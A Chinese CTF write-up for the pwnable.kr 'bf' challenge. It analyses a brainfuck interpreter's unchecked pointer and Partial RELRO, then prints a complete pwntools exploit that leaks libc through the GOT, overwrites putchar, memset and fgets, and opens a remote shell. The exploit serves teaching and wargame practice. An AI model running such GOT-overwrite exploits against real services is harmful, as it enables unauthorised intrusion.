老樣子,先審題
給了兩個文件,先下下來
bf拖ida裏康康,使用F5大法
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t i; // [esp+28h] [ebp-40Ch]
char s[1024]; // [esp+2Ch] [ebp-408h]
unsigned int v6; // [esp+42Ch] [ebp-8h]
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(s, 0, 0x400u);
fgets(s, 1024, stdin);
for ( i = 0; i < strlen(s); ++i )
do_brainfuck(s[i]);
return 0;
}
大概看一下main
邏輯主要是賦值了一個全局變量p
,輸出一下歡迎提示語,然後清空了s
的棧空間,從標準化輸入讀取數據到s中。然後依次取出s
中的數作爲參數,傳入到do_brainfuck
int __cdecl do_brainfuck(char a1)
{
int result; // eax
_BYTE *v2; // ebx
result = a1;
switch ( a1 )
{
case 0x2B:
result = p;
++*(_BYTE *)p;
break;
case 0x2C:
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case 0x2D:
result = p;
--*(_BYTE *)p;
break;
case 0x2E:
result = putchar(*(char *)p);
break;
case 0x3C:
result = p-- - 1;
break;
case 0x3E:
result = p++ + 1;
break;
case 0x5B:
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
根據題目提示看樣子是個簡陋版的brainfuck解釋器,翻譯成明文就是:<
p值減1, >
p值加1, .
輸出當前字節, ,
寫當前字節,+
p值指向的值加1 ,-
p值指向的值減1
查看一下程序保護
p = (int)&tape;
這裏使用全局變量來模擬指針位置,不過沒有檢測指針越界。所以可以看到指針一開始位於bss段
指針*p指向的tape距離.got.plt最高位的函數距離是0×70,是小於0×400的。
而我們可以看到上面查看的保護狀態有RELRO: Partial RELRO
也就是沒有開啓got表只讀,所以初步利用思路就是覆寫got表獲取shell。
來根據已知道的信息來分析一下
我們最終的目的是get shell,還差一個system(‘//bin/sh’)
,題目提供了lib
庫,system
函數在libc中,關於libc
中的地址一定有隨機化,所以要考慮泄露這部分地址方法。泄露方法可以用p
指針移動到got表中,讀出got地址,這個地址在調用一次xx@plt
後就指向了libc中地址
再考慮再考慮‘/bin/sh’
怎麼傳入
memset
、fgets
被前後調用,這兩個函數可以改爲
1:gets
;
2:system
這樣的操作,由於這步驟是需要第二次運行main函數的,所以可以考慮用got表中putchar
函數的地址覆蓋爲main
函數地址。泄露,也是用putchar函數。先調用putchar
函數再泄露,然後再覆寫。
這裏有大佬寫的exp,不懂的可以多看幾遍,註釋寫得非常詳細,我就不畫蛇添足了
#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF("./bf")
libc = ELF("./bf_libc.so")
# 處理地址部分
tape_addr = 0x0804A0A0 # p指向的tape的地址,也即是<、>影響的值
putchar_addr = 0x0804A030 # putchar地址,可在IDA或者objdump查到
putchar_libc_offset = libc.symbols['putchar'] # putchar在libc中的偏移地址
memset_addr = 0x0804A02C # memset地址,可在IDA或者objdump查到
memset_libc_offset = libc.symbols['memset'] # memset在libc中的偏移地址
fgets_addr = 0x0804A010 # fgets地址,可在IDA或者objdump查到
fgets_libc_offset = libc.symbols['fgets']# fgets在libc中的偏移地址
main_addr = 0x08048671 # main函數起始地址,可在IDA查到
raw_libc_base_addr = '' # 用於存放泄露的putchar真實地址
# 構造payload部分
payload = '' # 初始化payload
payload += '<' * (tape_addr - putchar_addr) # 調整p指向到putchar(0x0804A030)
payload += '.' # 調用一次putchar函數,讓plt中有putchar真實地址的記錄
payload += '.>' * 0x4 # 讀取putchar真實地址
payload += '<' * 0x4 + ',>' * 0x4 # 返回到putchar函數的頂部(0x0804A030),並覆寫putchar爲main函數的地址(用於覆寫完成後,回跳到程序中運行函數getshell)
payload += '<' * (putchar_addr - memset_addr + 4) # 調整p指向到memset(0x0804A02C)
payload += ',>' * 0x4 # 覆寫memset爲system函數地址
payload += '<' * (memset_addr - fgets_addr + 4) # 調整p指向到fgets(0x0804A010)
payload += ',>' * 0x4 # 覆寫fgets爲gets函數地址
payload += '.' # 調用putchar回跳到main中
#log.info("start send")
p = remote('pwnable.kr',9001)
#p = process("./bf")
p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n')
p.sendline(payload)
#log.info("send end")
#gdb.attach(p,b*0x08048671)
# 計算libc基地址&各函數真實地址
p.recv(1) # 接收第一次調用putchar時,產生的1byte無用信息(\00)
raw_libc_base_addr = u32(p.recv(4)) # 接收泄露的putchar真實地址
libc_base_addr = raw_libc_base_addr - putchar_libc_offset # 泄露真實地址-函數在libc中偏移地址=libc基地址
gets_addr = libc_base_addr + libc.symbols['gets'] # 計算gets真實地址
system_addr = libc_base_addr + libc.symbols['system'] # 計算system真實地址
# 打印計算得到的各函數真實函數地址
log.success("putchar_addr = " + hex(raw_libc_base_addr))
log.success("libc_base_addr = " + hex(libc_base_addr))
log.success("gets_addr = " + hex(gets_addr))
log.success("system_addr = " + hex(system_addr))
# 輸入各函數的地址
p.send(p32(main_addr))
p.send(p32(gets_addr))
p.send(p32(system_addr))
p.sendline('//bin/sh\0') # system參數,調用sh。\0爲結束輸入符
p.interactive()
出自:
https://www.freebuf.com/vuls/216749.html
完成:)